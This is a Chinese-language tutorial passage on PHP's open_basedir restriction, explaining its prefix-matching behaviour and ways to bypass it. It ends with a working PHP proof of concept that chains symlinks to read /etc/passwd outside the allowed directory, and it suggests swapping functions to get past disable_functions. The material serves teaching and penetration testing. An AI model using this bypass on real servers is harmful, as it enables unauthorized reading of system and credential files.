一、open_basedir
看一下php.ini里面的描述:
; open_basedir, if set, limits all file operations to the defined directory
; and below. This directive makes most sense if used in a per-directory or
; per-virtualhost web server configuration file. This directive is
; *NOT* affected by whether Safe Mode is turned On or Off.
open_basedir可将用户访问文件的活动范围限制在指定的区域,通常是其目录的路径,也可用符号"."来代表当前目录。
注意用open_basedir指定的限制实际上是前缀,而不是目录名。(其实我也是才知道的)
比如open_basedir = /dir/user", 那么目录 “/dir/user” 和 "/dir/user1"都是可以访问的,所以如果要将访问限制在仅为指定的目录,可以将open_basedir = /dir/user/
二、Bypass
命令执行
为什么选命令执行,因为open_basedir
和命令执行无关,就可以直接获取目标文件。
如果遇到disable_functions,就多换几个函数;如果关键字被过滤,办法也很多,可以参考大佬文章
syslink() php 4/5/7/8
symlink(string $target, string $link): bool
原理是创建一个链接文件 aaa 用相对路径指向 A/B/C/D,再创建一个链接文件 abc 指向 aaa/…/…/…/…/etc/passwd,其实就是指向了 A/B/C/D/…/…/…/…/etc/passwd,也就是/etc/passwd。这时候删除 aaa 文件再创建 aaa 目录但是 abc 还是指向了 aaa 也就是 A/B/C/D/…/…/…/…/etc/passwd,就进入了路径/etc/passwd
payload 构造的注意点就是:要读的文件需要往前跨多少路径,就得创建多少层的子目录,然后输入多少个../
来设置目标文件。
<?php
highlight_file ( __FILE__ );
mkdir ( "A" ); //创建目录
chdir ( "A" ); //切换目录
mkdir ( "B" );
chdir ( "B" );
mkdir ( "C" );
chdir ( "C" );
mkdir ( "D" );
chdir ( "D" );
chdir ( ".." );
chdir ( ".." );
chdir ( ".." );
chdir ( ".." );
symlink ( "A/B/C/D" , "aaa" );
symlink ( "aaa/../../../../etc/passwd" , "abc" );
unlink ( "aaa" );
mkdir ( "aaa" );
?>